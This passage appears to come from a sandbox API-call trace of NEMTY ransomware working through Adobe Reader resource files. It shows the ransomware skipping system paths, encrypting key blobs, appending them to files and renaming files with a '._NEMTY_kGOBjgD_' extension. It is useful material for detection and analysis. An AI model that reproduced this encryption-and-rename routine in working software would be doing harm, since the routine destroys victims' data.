lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.377] Sleep (dwMilliseconds=0x5) [0216.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x349d03f0, dwHighDateTime=0x1d561e8)) [0216.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x349d03f0, dwHighDateTime=0x1d561e8)) [0216.385] GetLastError () returned 0x0 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.386] GetLastError () returned 0x0 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.386] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.386] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.386] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.386] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="i8bmQV3RZyNr7t8C5+tZ+Hcr/S/p04gER8/sEHFsdb+fxh5gFkmOZTqpJMYCcGM+\r\ncT483HFstpQOq9Kc1w9SQUMqOeEKDNmQ5fh5Iw8Gdy8BwIvvcuZtr0M1kNlbMipz\r\nQ4i+m3OAMXSZzu3PipKs72ZkBcGz//cJGRoaYrIFYoO/lmOgwxJ5hruDYoh4GcTH\r\n9a107gM+OwA7pJzIg0N0mOzIqvtwhTw4Guc4WbdRlHe22oq7mYIB0vhq2lFyc4Nv\r\nyBR3CViWM+TqI6PlhtTAplyKMUtRPGnWrjpZ7ZzPwNCS/KDW6TqCU3CABrHTrnrS\r\nM8OrP6uOWittNPeg6c9yrA==\r\n", pcchString=0x653e5dc) returned 1 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.387] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28400) returned 1 [0216.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ef0) returned 0x6352c48 [0216.387] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.387] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ef0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ef0, lpOverlapped=0x0) returned 1 [0216.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.390] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ef0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ef0, lpOverlapped=0x0) returned 1 [0216.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ef0 [0216.391] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.391] CloseHandle (hObject=0x2e8) returned 1 [0216.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.391] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt._nemty_kgobjgd_")) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.392] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sl_SI.txt", cAlternateFileName="DI9B2F~1.TXT")) returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2=".") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="..") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="...") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="windows") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="rsa") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="NTDETECT.COM") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="ntldr") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="MSDOS.SYS") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="IO.SYS") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="boot.ini") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="boot.ini") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="ntuser.dat") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="desktop.ini") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="CONFIG.SYS") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="RECYCLER") returned -1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="bootmgr") returned 1 [0216.392] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="programdata") returned -1 [0216.393] lstrcmpiW (lpString1="DisplayLanguageNames.sl_SI.txt", lpString2="appdata") returned 1 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl_SI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl_SI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl_SI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl_SI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl_SI.txt", lpUsedDefaultChar=0x0) returned 30 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.393] Sleep (dwMilliseconds=0x5) [0216.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x349f6550, dwHighDateTime=0x1d561e8)) [0216.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x349f6550, dwHighDateTime=0x1d561e8)) [0216.401] GetLastError () returned 0x0 [0216.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.401] GetLastError () returned 0x0 [0216.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.401] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.401] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.401] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.401] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="2opxrVgD/hX00R4D0xqsmf2iYMgGPo31gNzSkWh8IPNWRONUhic5jvpoUXbFh57w\r\nzYGCDhEXazdAMv/bcGeiRGQfP4CP2KjPsVvVUQguer0MHaVde1w3JWtWQg9mhxp3\r\nZncchEiJkilfr1LdgFzqDZ5k2UrxKZf8rMUsYdOBbqyIQ6Hfb2t7Vv8ujRxbQ0SK\r\npXMh7AYeHLlhIPyZvlQ25kWYHG5ZsXLcOdNqIRiTzGwDV+x0ovudH4TtrgEx0kpj\r\niWp2CR5uQ6nuzhWX+TYmQoICLJYgp1tq7a2xgJ+sjnaW/RTqJvb3x23WqZWmR64b\r\n3m2GDcI/l4gDLnolLWdfIg==\r\n", pcchString=0x653e5dc) returned 1 [0216.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.402] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28400) returned 1 [0216.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ef0) returned 0x6352c48 [0216.402] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.402] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ef0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ef0, lpOverlapped=0x0) returned 1 [0216.405] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.405] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ef0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ef0, lpOverlapped=0x0) returned 1 [0216.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.405] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ef0 [0216.406] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.406] CloseHandle (hObject=0x2e8) returned 1 [0216.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.406] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt._nemty_kgobjgd_")) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.407] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 